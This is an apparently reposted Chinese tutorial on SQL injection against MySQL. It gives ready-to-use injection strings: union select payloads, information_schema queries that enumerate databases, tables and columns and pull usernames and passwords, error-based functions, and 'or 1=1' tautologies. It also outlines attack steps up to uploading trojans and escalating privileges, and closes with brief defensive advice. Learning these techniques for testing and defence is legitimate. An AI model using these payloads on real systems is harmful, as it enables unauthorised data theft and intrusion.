日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

渗透测试---数据库安全: sql注入数据库原理详解

發布時間:2025/5/22 数据库 91 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试---数据库安全: sql注入数据库原理详解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

    • 1 介紹
    • 2 一般步驟
    • 3 注入
    • 3 函數
      • 3.1 常用的系統函數
      • 3.2 字符串連接函數
        • 3.2.1 concat() 函數
        • 3.2.2 concat_ws() 函數
        • 3.2.3 group_concat() 函數
    • 4 注入
      • 4.1 聯合查詢 union 注入
      • 4.2 information_schema 注入
        • 5.2.1 獲取所有數據庫
        • 4.2.2 獲取指定數據庫的表
        • 4.2.3 獲取指定表的字段名
        • 4.2.4 獲取字段值得內容
      • 4.3 基于報錯信息注入
        • 4.3.1 三個常用報錯函數
      • 4.4 數字注入
      • 4.5 搜索注入
    • 5 sql注入防御

1 介紹

SQL注入漏洞主要是由于,在請求的時候沒有做嚴格的過濾,導致傳入的語句被當做SQL語句被執行,從而導致數據庫受損(被脫庫、刪除、甚至數據付權限淪陷)

更多攻防文章:有勇氣的牛排 — 攻防
有勇氣的牛排官網:https://lgch.xyz/

2 一般步驟

  • SQL注入點探測
    判斷什么地方存在SQL注入點,通常在表單,文章查詢等與數據庫有關操作的頁面。

  • 收集后臺數據庫信息
    不同的數據庫的注入方法、函數各不相同,因此注入前要判斷數據庫的類型。
    如:
    特殊字符、單引號:讓數據庫返回錯誤
    函數:
    version()函數:MSQL專用

    1 and version()>0
  • 猜測用戶名和密碼
    表名、字段名、字段數、用戶名和密碼。

  • 查找 Web 后臺管理入口
    可以使用 目錄掃描工具

  • 入侵and破壞
    登錄后臺:上傳木馬、篡改網頁、竊取信息。
    進一步提權:入侵Web服務器和數據庫服務器。

  • 3 注入

    測試數據

    +---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | | 9787115496003 | 虛擬化技術應用與實踐 | | 9787302510109 | 算法設計與分析(第4版) | | 9787503442490 | 心靈密碼 | | 9787503421884 | 雪狼 | | 9787539635835 | 龍頭老太 | +---------------+----------------------------------+

    3 函數

    3.1 常用的系統函數

    函數作用
    version()MySQL版本
    user()數據庫用戶名
    database()數據庫名
    @@datadir數據庫路徑
    @@version_complie_os操作系統版本

    3.2 字符串連接函數

    三大法寶:concat(),group_concat(),concat_ws()

    3.2.1 concat() 函數

    特點:concat(str1,str2,...)
    返回結果為連接參數產生的字符串,如果任何一個參數為NULL,則返回值為NULL,可以有一個或多個參數。

    1. 不使用字符連接函數:

    select isbn,title from books limit 1; +---------------+----------------------------------+ | isbn | title | +---------------+----------------------------------+ | 9787302458210 | SQL Server 從入門到精通(第2版) | +---------------+----------------------------------+

    2.使用示例
    一般我們都要用一個字符將各個項隔開,便于數據的查看

    select concat(isbn,',',title) from books limit 1; +------------------------------------------------+ | concat(isbn,',',title) | +------------------------------------------------+ | 9787302458210,SQL Server 從入門到精通(第2版) | +------------------------------------------------+

    3.2.2 concat_ws() 函數

    CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數是其它參數的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數。如果分隔符為 NULL,則結果為 NULL。函數會忽略任何分隔符參數后的 NULL 值。但是CONCAT_WS()不會忽略任何空字符串。 (然而會忽略所有的 NULL)。
    特點:CONCAT_WS(separator,str1,str2,…)
    使用示例

    3.2.3 group_concat() 函數

    GROUP_CONCAT函數返回一個字符串結果,該結果由分組中的值連接組合而成。

    select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;

    就不演示了,sql語句如同上面

    4 注入

    4.1 聯合查詢 union 注入

    使用聯合查詢進行的前提是我們進行注入的頁面必須有顯示位。

    1、使用union
    payload:

    v' union select username from member where id=1#%

    select 必須有相同的列,且各列的數據也都相同,同時,每條 SELECT 語句中的列的順序必須相同。
    聯合查詢可先在鏈接最后添加 order by X 基于隨意數字的注入,根據頁面的返回結果來判斷站點中的字段數目。

    select bid,author from books union select username from users;


    2、 payload:a' order by 4#%

    select bid,author from books order by 4#%;

    select bid,author from books order by 2#%;


    3、得到主查詢由三個字段后,我們用union來做一個sql拼接。
    pauload

    a' union selec database(),user(),version()#% select bid,author,title from books union selec database(),user(),version();

    這里沒有測試通過

    4.2 information_schema 注入

    information_schema數據庫是MySQL5.0系統自帶的數據庫,其中保存著關于MySQL服務器所維護的所有其他數據庫的信息。

    select group_concat(schema_name) from information_schema.schemata;

    實際注入測試

    5.2.1 獲取所有數據庫

    類型:id=/wd=/name=

    -1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

    4.2.2 獲取指定數據庫的表

    payload

    a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library' select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

    4.2.3 獲取指定表的字段名

    payload

    a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#% select bid,author,title from books union select table_name,column_name,3 from information_schema.columns where table_name='users';

    4.2.4 獲取字段值得內容

    payload

    a' union select username ,password,3 from users#% select bid,author,title from books union select username,password,3 from users;

    4.3 基于報錯信息注入

    此方法是在頁面沒有顯示位,但是 echomysql_error() 函數,在前端輸出了錯誤信息的時候方能使用。
    優點是注入速度快,缺點是語句較為復雜,而且只能用 limit 依次進行猜解。總體來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用 echomysql_error() 輸出了錯誤信息時使用。常見的select/insert/update/delete 注入都可以使用報錯方式來獲取信息。

    4.3.1 三個常用報錯函數

    updatexml(): 函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
    extractvalue() : 函數也是MYSQL對XML文檔數據進行查詢的XPATH函數.
    floor(): MYSQL中用來取整的函數.


    4.4 數字注入

    or 1=1

    4.5 搜索注入

    在搜索框搜索的時候,成為搜索型。
    數字型與字符型注入最大區別:數字型不需要單引號閉合,而字符串類型需要單引號閉合。

    %xxx% or 1=1 #%'

    5 sql注入防御

  • 對輸入進行嚴格的轉義和過濾
  • 使用參數化(Parameterized):目前有很多ORM框架會自動使用參數化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!
  • 參考文章:
    https://zhuanlan.zhihu.com/p/258032596
    https://www.cnblogs.com/lcamry/p/5715634.html

    總結

    以上是生活随笔為你收集整理的渗透测试---数据库安全: sql注入数据库原理详解的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 美日韩中文字幕 | 色综合av在线 | 风流少妇一区二区三区91 | 黄色国产精品 | 日韩在线第二页 | 男女做爰猛烈吃奶啪啪喷水网站 | 少妇裸体淫交视频免费看高清 | 国产精品无码一本二本三本色 | 午夜福利视频合集1000 | 欧美黄片一区二区三区 | 国产视频精选 | 日本亲与子乱ay中文 | 牛人盗摄一区二区三区视频 | 亚洲欧美日韩在线看 | 99久热在线精品996热是什么 | 在线看黄色网址 | 精品黄色片 | 久热99 | 欧美成人性色 | 超碰青娱乐 | 国产网站免费观看 | 亚洲成人av一区二区三区 | 一个人免费在线观看视频 | 在线播放一级片 | 欧美一级免费观看 | 日韩欧美日韩 | 天天干天天爽天天操 | 欧美黄色片 | 韩国一级一片高清免费观看 | 久久美利坚 | 中文字幕视频在线 | 亚洲精品www久久久久久广东 | 日韩一级性生活片 | 91精品国产视频 | 高hnp视频 | 国产成人亚洲精品自产在线 | 日本大奶视频 | 欧美性受xxxx狂喷水 | 久久综合婷婷国产二区高清 | 天堂中文在线网 | 成人影片在线播放 | 91抖音成人 | 色男人av| 在线欧美日韩 | 一级全黄裸体免费视频 | 亚洲免费成人在线 | 久草中文在线 | 怡红院一区二区三区 | 国产一区二区亚洲 | 首尔之春在线观看 | 国产一级视频 | 欧美国产一区二区在线观看 | 人妻熟女一区二区aⅴ水野 91在线观看视频 | 欧洲精品在线观看 | 教练含着她的乳奶揉搓揉捏动态图 | 国产乱妇4p交换乱免费视频 | 黄色1级视频 | 欧美激情精品久久久久久蜜臀 | 影音先锋91 | 日本亲与子乱xxx | 久久久久人妻一区精品色 | 亚洲天堂一 | 九九九九九精品 | 日韩性欧美| 青青草原一区二区 | 蜜臀av午夜精品 | 国产亚洲激情 | 亚洲美女中文字幕 | 欧美人成在线 | 美女福利一区 | 少妇学院在线观看 | 嫩草视频 | 毛片av免费看 | 波多野结衣二区三区 | 国产网红在线 | 色吊丝av中文字幕 | www.男人天堂 | av网站免费在线 | 一区二区三区在线免费观看 | 日韩在线不卡视频 | 爱爱高潮视频 | 中文字幕在线观看欧美 | 亚洲精选一区二区三区 | 欧美另类videosbestsex日本 | 中文字幕免费在线观看视频 | 中国女人特级毛片 | 国产特黄 | 美女自卫网站 | 成人短视频在线 | 色综合激情网 | 免费av国产 | 国产又粗又硬又长又爽的演员 | 熟妇人妻无码xxx视频 | 已婚少妇美妙人妻系列 | 黑人三级视频 | 日本精品一二三 | 手机在线观看日韩av | 日韩精品极品视频 | 伊人婷婷色 |